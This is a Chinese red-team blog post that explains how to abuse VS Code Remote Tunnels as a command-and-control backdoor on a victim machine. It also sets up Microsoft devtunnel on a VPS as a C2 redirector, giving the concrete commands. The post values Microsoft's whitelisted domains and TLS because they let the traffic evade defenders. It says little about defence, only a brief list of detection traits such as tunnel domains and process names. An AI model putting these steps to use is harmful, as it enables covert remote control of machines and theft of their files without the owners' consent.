[免杀对抗]VSCode还能这样用?
原文首发在:先知社区
https://xz.aliyun.com/t/15616
0x01 当作C2
VStudio Code Remote - Tunnel 扩展允许您通过安全隧道连接到远程计算机,例如台式电脑或虚拟机 (VM)。您可以从任何地方的 VS Code 客户端连接到该计算机,无需 SSH。
说白话:通过 VS Code 远程控制目标机器
查看帮助:code -h(这两个参数都是与开启隧道有关的参数)
优点
○ 大厂证书,回连域名和 IP 为微软 VS Code,正常开发人员也会使用,可以说是白域名和白 IP
○ HTTPS 加密,执行的命令和回显的数据均为 TLS 加密
○ 操作简便
缺点
○ 受害机器需要能访问 VScode 官网
远程控制
1.受害机器开启 Tunnel
默认受害者安装了 VS Code 的情况
code tunnel
记住授权码:9222-1A1F
注意:此操作要挂梯子,因为连接的是 VS 的官网
2.GitHub 授权
访问 URL:https://github.com/login/device 登录 GitHub 账户进行授权
接下来点击同意授权即可
此时控制台也出现了连接成功的信息
3.访问后门地址进行控制
上面连接成功会出现控制的URL:https://vscode.dev/tunnel/desktop-21fnjqm
左下角出现机器名则表示连接成功!
4.文件浏览和命令执行
可以正常读取文件
写入文件试试
执行命令也没任何问题
目标未安装 VSCode
解决方案:下载单文件版本
同样可以正常使用
检测和防御
特征1.控制台有 log 日志
特征2.外联域名
*.tunnels.api.visualstudio.com
*.devtunnels.ms
特征3.其他特征
固定的进程名:code.exe
参数名:tulnnel
创建进程的行为默认为:cmd.exe 和 powershell.exe
等等
0x02 用作 C2 域前置
1.VPS 下载 devtunnel
wget https://aka.ms/TunnelsCliDownload/linux-x64;mv linux-x64 devtunnel;chmod +x devtunnel
2.开启隧道并认证
./devtunnel user login -g -d
3.创建隧道
./devtunnel create -a <隧道名称>
./devtunnel port create -p 8443 --protocol https
./devtunnel host
此时给出的上线域名:505lmm60-8443.asse.devtunnels.ms
4.连接上线
上线(由于连接的 vscode,需要挂梯子,不然死活上不了线,坑了我半天)
参考连接
● https://redsiege.com/blog/2024/04/using-microsoft-dev-tunnels-for-c2-redirection/
● https://www.youtube.com/watch?v=9la5vTerq0o&pp=ygUUY29iYWx0IHN0cmlrZSBiZWFjb24%3D
- 点赞
- 收藏
- 关注作者
评论(0)